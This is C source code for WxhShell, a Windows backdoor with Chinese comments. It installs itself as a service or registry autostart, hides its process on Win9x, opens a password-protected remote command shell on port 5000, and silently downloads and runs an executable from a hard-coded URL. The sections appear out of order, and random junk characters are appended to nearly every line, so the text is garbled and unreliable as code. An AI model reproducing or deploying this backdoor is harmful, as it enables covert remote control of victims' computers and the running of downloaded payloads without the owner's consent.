ULONG UniqueProcessId; ZY`9
ULONG InheritedFromUniqueProcessId; |7c],SHm
} PROCESS_BASIC_INFORMATION; E2>{se Z
]A%3\)r
PROCNTQSIP NtQueryInformationProcess; Yu_*P-Ja6
sPvs}}Z]P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w)+1^eW
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KJec/qca
#C&';HB;y
HANDLE hProcess; }={@_g#
PROCESS_BASIC_INFORMATION pbi; 5_E8
RAG
6GunEYK!N8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q=5aHH% |
if(NULL == hInst ) return 0; t"GnmeH
i
)y*&&q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Yk^(hl2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %"mI["{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $J4\jIipL
q@bye4Ry%W
if (!NtQueryInformationProcess) return 0; mc?IM(t
_F6<ba}o3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {TNORbZz
if(!hProcess) return 0; G|Et'k.F4
OXrm!'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LP#wE~K"b
aH1CX<3)~
CloseHandle(hProcess); 7@<.~*Bl6
}jCO@v;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pV ^+X}
if(hProcess==NULL) return 0; D8L5t<^1R
yk?bz
HMODULE hMod; /io06)-/n
char procName[255]; \HLo%]A@M
unsigned long cbNeeded; H^n@9U;[K
ny13+Q`^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
g}<jn'@{
88_ef7w
CloseHandle(hProcess); #E!^oZm<Z
?m *e$!M0
if(strstr(procName,"services")) return 1; // 以服务启动 Uyb0iQ-,s
-z`%x@F<&L
return 0; // 注册表启动 S~aWun
} h<%$?h+}
>(a35 b$
// 主模块 @h|qL-:!vG
int StartWxhshell(LPSTR lpCmdLine) f9u=h}
{ s;TB(M~i[
SOCKET wsl; B.G6vx4yp
BOOL val=TRUE; !2!Zhw2u
int port=0; ~7ZZb*].(
struct sockaddr_in door; Yg.[R]
UC
nvrh7l9nX
if(wscfg.ws_autoins) Install(); (o|bst][S
fU|v[
port=atoi(lpCmdLine); 9DA|;|
=|i_T%a
if(port<=0) port=wscfg.ws_port; >}
2C,8N
;VKWY
WSADATA data; &233QRYM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Am*IC?@tq
nIg 88*6b,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;iiCay37F
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " YI,
door.sin_family = AF_INET; Y_[7q<L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yx|iZhK0:}
door.sin_port = htons(port); VrRF2(Kn?
#[jS&rr(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3&})gU&a
closesocket(wsl); hYzP6?K"
return 1; lW|=rq-|
} jr)M],
k'O.1
if(listen(wsl,2) == INVALID_SOCKET) { kfnh1|D=aY
closesocket(wsl); ;'{7wr|9
return 1; '=$`NG8l
} fhN\AjB6Td
Wxhshell(wsl); H14Q-2U1xa
WSACleanup(); 3zh:~w_
E$
\l57
return 0; Sa<(F[p`
TQck$&
} ;av!fK
*>W<n1r@]
// 以NT服务方式启动 3;L$&X2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q*<KX2O
{ BO*)cLQ
DWORD status = 0; < +*
DWORD specificError = 0xfffffff; i_N8)Z;r
Zy7kPL;b
serviceStatus.dwServiceType = SERVICE_WIN32; mQ`atFz:Z
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S'HA]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .9x*YS
serviceStatus.dwWin32ExitCode = 0; $!wU[/k
serviceStatus.dwServiceSpecificExitCode = 0; g "Du]_,
serviceStatus.dwCheckPoint = 0; dUa>XkPa\2
serviceStatus.dwWaitHint = 0; wb62($
'sIne>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?rOj?J9
if (hServiceStatusHandle==0) return; 6V$ )ym*F
H4`>B>\
status = GetLastError(); s@:Yu
if (status!=NO_ERROR) >/\TG8t,f
{ By6O@ .\V
serviceStatus.dwCurrentState = SERVICE_STOPPED; Zocuc"j
serviceStatus.dwCheckPoint = 0; wA$?e}
serviceStatus.dwWaitHint = 0; e^N~)Nlj
serviceStatus.dwWin32ExitCode = status; >8{w0hh;
serviceStatus.dwServiceSpecificExitCode = specificError; y2+f)Xp_.C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H^kOwmSzh
return; =b*GV6b
} J=Kv-@I>E
?J2A.x5`a
serviceStatus.dwCurrentState = SERVICE_RUNNING; F1BvDplQ>G
serviceStatus.dwCheckPoint = 0; (5]
[L<L
serviceStatus.dwWaitHint = 0; ZhCd**
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K@e2%hk9x
} k'%yvlv
EXeV@kg
// 处理NT服务事件,比如:启动、停止 <m \Y$Wv
VOID WINAPI NTServiceHandler(DWORD fdwControl) \2+ngq)
{ `=pA;R9
switch(fdwControl) +mBS&FK
{ [ p,]/ ^ N
case SERVICE_CONTROL_STOP: QaLaw-lx
serviceStatus.dwWin32ExitCode = 0; <EqS
,cO^
serviceStatus.dwCurrentState = SERVICE_STOPPED; afHRy:<+%
serviceStatus.dwCheckPoint = 0; '2Zs15)V
serviceStatus.dwWaitHint = 0; L44|/~
{ <;#gcF[7>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G0h&0e{w
} ,? <;zq
return; ;g8v7>p
case SERVICE_CONTROL_PAUSE: ~*3Si(4l/
serviceStatus.dwCurrentState = SERVICE_PAUSED; D8!
Y0
break; +pSo(e(
case SERVICE_CONTROL_CONTINUE: v(Kj6 '
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8fi'"
break; -}4CY\d6'
case SERVICE_CONTROL_INTERROGATE: ;yqHt!N
break; Xk!{UxQKQ
}; #\N8E-d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); whe%o
} bHm/Z Zx
&Oz
// 标准应用程序主函数 -wH0g^Ed
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |g \_xl
{ :Nf(:D8
j*gZvbO;'L
// 获取操作系统版本 D]fgBW-
OsIsNt=GetOsVer(); bZUw^{~)D
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Bpb?
H(Wiy@cJn
// 从命令行安装 )$1j"mV
if(strpbrk(lpCmdLine,"iI")) Install(); }LS.bQKqi,
9a@S^B>
// 下载执行文件 Ok)f5")N %
if(wscfg.ws_downexe) { Tt{X(I} J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IDpLf*vSG
WinExec(wscfg.ws_filenam,SW_HIDE); uj\&-9gEi
} wAu]U6!
-#;ZZ\fdj
if(!OsIsNt) { v1+.-hO
// 如果时win9x,隐藏进程并且设置为注册表启动 ^^
SMr l
HideProc(); 6)=;cc{Vr
StartWxhshell(lpCmdLine); /g%RIzgW
} LZG(T$dI
else n(LO`{
if(StartFromService()) 'S74Ys=-0
// 以服务方式启动 ro?.w
StartServiceCtrlDispatcher(DispatchTable); CUc ,
else |;aZi?Ek[
// 普通方式启动 m@I}$
StartWxhshell(lpCmdLine); ]!1HN3
~#so4<A`3
return 0; QTF1~A\
} wNl6a9#
;#Qv
)kS*
I5[@C<b
o[JZ>nm
=========================================== fTX|vy<EMI
E.N>,N
L`O7-'`
45Zh8 k
./DlHS;
Zs0;92WL
" ??#EG{{
|V}tTx1
#include <stdio.h> DuAix)#FN9
#include <string.h> *\iXU//^)
#include <windows.h> ^I6Vz?0Jl
#include <winsock2.h> *>EV4Hl
#include <winsvc.h> Hi\z-P-
#include <urlmon.h> U"UsQYa_
m,6u+Z,
#pragma comment (lib, "Ws2_32.lib") Y)(w&E>1
#pragma comment (lib, "urlmon.lib") v3n
T@ra'
X$t!g`
#define MAX_USER 100 // 最大客户端连接数 48;b
#define BUF_SOCK 200 // sock buffer lFA-T I&
#define KEY_BUFF 255 // 输入 buffer \Q|,0`
o?= &kx
#define REBOOT 0 // 重启 #IqRu:csp
#define SHUTDOWN 1 // 关机 %bdBg
!-SI &qy
#define DEF_PORT 5000 // 监听端口 g38MF
s nNd7v.U6
#define REG_LEN 16 // 注册表键长度 Ya<V@qd
#define SVC_LEN 80 // NT服务名长度 L"T :#>
\7o7~pll
// 从dll定义API UH(w, R`
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :UKc:JVNM
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x
FvKjO)
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NUh%\{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cs: ?Wq ^
4]
u\5K-
// wxhshell配置信息 NSzTl-eS
struct WSCFG { KNF{NFk
int ws_port; // 监听端口 5lwMc0{/3
char ws_passstr[REG_LEN]; // 口令 _3g!_
int ws_autoins; // 安装标记, 1=yes 0=no $.ctlWS8l{
char ws_regname[REG_LEN]; // 注册表键名 ~xJr|_,gp
char ws_svcname[REG_LEN]; // 服务名 p gv, Su
char ws_svcdisp[SVC_LEN]; // 服务显示名 NJ$Qm.S
char ws_svcdesc[SVC_LEN]; // 服务描述信息 egWfKL&iy
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %bG\
int ws_downexe; // 下载执行标记, 1=yes 0=no #>z !ns
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @y
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char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bXM&VW?OP
}1a(*s,s-^
}; EyV5FWb58
B'PS-Jr
// default Wxhshell configuration #2*R0_b
struct WSCFG wscfg={DEF_PORT, tp\d:4~R
"xuhuanlingzhe", >@-BZJg/k
1, r"VNq&v]9
"Wxhshell", k$Ug;`v#
"Wxhshell", ! bX
"WxhShell Service", eQfXUpk3@I
"Wrsky Windows CmdShell Service", 6OtNWbB
"Please Input Your Password: ", Ty;^3
1, [xdVuL;N
"http://www.wrsky.com/wxhshell.exe", {yxLL-5c
"Wxhshell.exe" '+GYw$
}; ZlQ&m
9T2y2d!X
// 消息定义模块 0yb9R/3.
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A'n7u'6=
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ga
<=Di):
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ')WS :\J
char *msg_ws_ext="\n\rExit."; 530Kk<%^}8
char *msg_ws_end="\n\rQuit."; T.WN9=N
char *msg_ws_boot="\n\rReboot..."; vcP_gJz
char *msg_ws_poff="\n\rShutdown..."; y8v0>V0)
char *msg_ws_down="\n\rSave to "; O? 7hT!{
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char *msg_ws_err="\n\rErr!"; W$gjcsv
char *msg_ws_ok="\n\rOK!"; D3+<16[,
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char ExeFile[MAX_PATH]; 5VGZ5,+<<
int nUser = 0; Ozsvsa
HANDLE handles[MAX_USER]; Xw162/:h
int OsIsNt; - C8VDjf9
\rH0=~F-P
SERVICE_STATUS serviceStatus; @~i :8
SERVICE_STATUS_HANDLE hServiceStatusHandle; @[TSJi
anH ]]
// 函数声明 (J
j'kW6G6
int Install(void); 8(!?y[
int Uninstall(void); zpcO7AY~
int DownloadFile(char *sURL, SOCKET wsh); #Xi9O.
int Boot(int flag); 4y,pzQ8a
void HideProc(void); @Fb
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int GetOsVer(void); ;"NW=P&
int Wxhshell(SOCKET wsl); z
E\~Oa;
void TalkWithClient(void *cs); :M@#.
int CmdShell(SOCKET sock); "Q[?W(SA
int StartFromService(void); AFWWGz
int StartWxhshell(LPSTR lpCmdLine); PJ)d5D%T
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "OrF81
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uLt31G()
b C"rQJg
// 数据结构和表定义 NLev(B:OQH
SERVICE_TABLE_ENTRY DispatchTable[] = EB
p(^rj
{ 9*(uJA
{wscfg.ws_svcname, NTServiceMain}, 0)9n${P7d
{NULL, NULL} @CA{uP;
}; sGGi7%
e#ne 5
// 自我安装 U;Yw\&R